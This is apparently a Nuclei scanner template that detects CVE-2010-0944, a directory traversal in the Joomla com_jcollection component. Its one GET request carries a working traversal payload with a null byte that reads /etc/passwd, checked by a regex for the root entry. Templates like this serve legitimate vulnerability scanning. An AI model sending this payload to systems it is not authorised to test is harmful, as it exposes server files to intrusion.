id: CVE-2010-0944

info:
  name: Joomla! Component com_jcollection - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0944
    - http://packetstormsecurity.org/1001-exploits/joomlajcollection-traversal.txt
    - http://www.exploit-db.com/exploits/11088
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55514
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0944
    cwe-id: CWE-22
    epss-score: 0.14041
    epss-percentile: 0.96088
    cpe: cpe:2.3:a:thorsten_riess:com_jcollection:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thorsten_riess
    product: com_jcollection
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,thorsten_riess,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210090bdfa0cd9aa2a0709fa082276816f9f7da91ebfe4eb2d1a9b1a8a9b95c83817022100b4041eca27cc8ad4c6fb44566c7d3b734b83d6e7177d8678e8165d42d2bb502b:922c64590222798bb761d5b6d8e72950